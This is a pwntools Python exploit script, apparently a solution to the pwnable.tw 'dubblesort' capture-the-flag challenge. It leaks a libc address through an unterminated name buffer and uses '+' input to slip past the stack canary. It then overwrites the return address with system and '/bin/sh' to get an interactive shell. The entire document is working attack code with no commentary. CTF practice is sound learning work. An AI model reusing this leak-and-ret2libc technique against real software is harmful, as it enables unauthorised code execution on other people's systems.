from pwn import *
import socks

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.proxy = (socks.SOCKS5, 'host.docker.internal', 7890)

# p = process('/ctf/work/dubblesort/dubblesort', env={'LD_PRELOAD': '/ctf/work/dubblesort/ld-2.23.so /ctf/work/dubblesort/libc_32.so.6'})
def t(x):
    # p = remote('chall.pwnable.tw', 10101)
    p = process('/ctf/work/dubblesort/dubblesort', env={'LD_PRELOAD': '/ctf/work/dubblesort/ld-2.23.so /ctf/work/dubblesort/libc_32.so.6'})
    libc_elf = ELF('/ctf/work/dubblesort/libc_32.so.6')


    gdb.attach(p, 'b __isoc99_scanf')

    p.sendafter('What your name :', 'a' * x)
    p.recvuntil('a' * (x-1))

    system_addr = libc_elf.symbols['system']
    bin_addr = next(libc_elf.search(b'/bin/sh'))

    exit_addr = u32(p.recv(4))-ord('a')
    if not hex(exit_addr).startswith('0xf7'):
        return
    libc_base = exit_addr - 0x1b0000
    system_addr_libc = libc_base + system_addr
    bin_addr_libc = libc_base + bin_addr
    log.info(hex(system_addr_libc))
    log.info(hex(bin_addr_libc))
    log.success(hex(libc_base))

    p.recvuntil('sort :')
    p.sendline(str(35))

    for i in range(24):
        p.sendlineafter('Enter the', str(2))

    p.sendlineafter('Enter the', '+')
    # p.sendlineafter('Enter the', '3')

    for i in range(7):
        p.sendlineafter('Enter the', str(0x7f000000))

    p.sendlineafter('Enter the', str(system_addr_libc))
    p.sendlineafter('Enter the', str(system_addr_libc))
    p.sendlineafter('Enter the', str(bin_addr_libc))
    # p.sendlineafter('Enter the', p32(0xdeadbeef))
    p.interactive()

t(0x1)
